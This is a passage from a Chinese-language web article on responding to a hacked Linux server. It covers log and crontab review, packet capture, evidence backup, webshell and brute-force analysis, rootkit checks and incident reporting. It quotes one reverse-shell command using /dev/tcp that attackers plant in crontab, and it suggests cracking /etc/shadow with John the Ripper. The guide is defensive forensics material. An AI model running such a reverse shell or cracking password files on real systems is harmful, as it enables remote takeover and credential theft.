服务器被黑客入侵了怎么办?(最全处理流程)(2)
时间:2022-11-03 03:26 来源:网络整理 作者:采集插件 点击:次
不要用 crontab –l 查看 crontab(绕过检测),也有通过写 crontab 配置文件反弹Shell 的,笔者接触过几次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。 系统日志检测· 检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message,判断是否为口令破解攻击。 · · /etc/ssh/sshd_config 文件确认认证方式。 · 确认日志是否被删除或者清理过的可能(大小判断)。 · last/lastb 可以作为辅助,不过可能不准确。 NHIDS 正常运行判断· 是否安装:ls /etc/ossec · 是否运行正常:ps axu |grep nhids,三个 nhids 进程则表示正常 其他攻击分析抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用 -w 参数,这样才能保存成 pcap 格式导入到 wireshark,这样分析起来会事半功倍。 tcpdump -w tcpdump.log 安全相关的关键文件和数据备份(运维)可以同步进行,使用 sftp/rsync 等将日志上传到安全的服务器: · 打包系统日志:参考:$ tar -jcvf syslog.tar.bz2 /var/log · 打包 Web 日志:access log · 打包 History 日志(所有用户),参考:$ cp /home/user/,history user_history · 打包 crontab 记录 · 打包密码文件:/etc/passwd,/etc/shadow · 打包可疑文件、后门、Shell 信息 深入分析(安全人员)初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。 Webshell 入侵· 使用 Webshell_check.py 脚本检测 Web 目录: $ python webshell_check.py /var/www/ >result.txt · 查找 Web 目录下所有 nobody 的文件,人工分析: $ find /var/www –user nobody >nobody.txt · 如果能确定入侵时间,可以使用 find 查找最近时间段内变化的文件: $ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22" $ find / -ctime/-mtime 8 利用 Web 漏洞直接反连 Shell分析 access.log: · 缩小日志范围:时间,异常 IP 提取。 · 攻击行为提取:常见的攻击 exp 识别。 系统弱口令入侵认证相关日志 auth/syslog/message 排查: · 爆破行为定位和 IP 提取。 · 爆破是否成功确定:有爆破行为 IP 是否有 accept 记录。 如果日志已经被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。 其他入侵其他服务器跳板到本机。 后续行为分析· History 日志:提权、增加后门,以及是否被清理。 · Sniffer:网卡混杂模式检测 ifconfig |grep –i proc。 · 内网扫描:网络 nmap/ 扫描器,socks5 代理。 · 确定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替换确认。 后门清理排查· 根据时间点做关联分析:查找那个时间段的所有文件。 · 一些小技巧:/tmp 目录, ls –la,查看所有文件,注意隐藏的文件。 · 根据用户做时间关联:比如 nobody。 其他机器的关联操作其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。 整理事件报告(安全人员)事件报告应包含但不限于以下几个点: · 分析事件发生原因:事件为什么会发生的原因。 · 分析整个攻击流程:时间点、操作。 · 分析事件处理过程:整个事件处理过程总结是否有不足。 · 分析事件预防:如何避免事情再次发生。 · 总结:总结事件原因,改进处理过程,预防类似事件再次发生。 处理中遇到的比较棘手的事情 日志和操作记录全被删了,怎么办?strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd 硬盘数据再去还原出来。 系统账号密码都修改了,登不进去?重启进单用户模式修改 root 密码,或者通过控制卡操作,或者直接还原系统,都搞不定就直接重装吧。 使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事? 这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。 如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者 alias 为其他名称,避免为恶意程序再次替换。 被 getshell 怎么办?· 漏洞修复前,系统立即下线,用内网环境访问。 · 上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传 Webshell。 · 被 getshell 的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。 · hosts 文件中对应的 host 关系需要重新配置,攻击者可以配置 hosts 来访问测试环境。 · 重装系统。 案例分析 (责任编辑:admin) |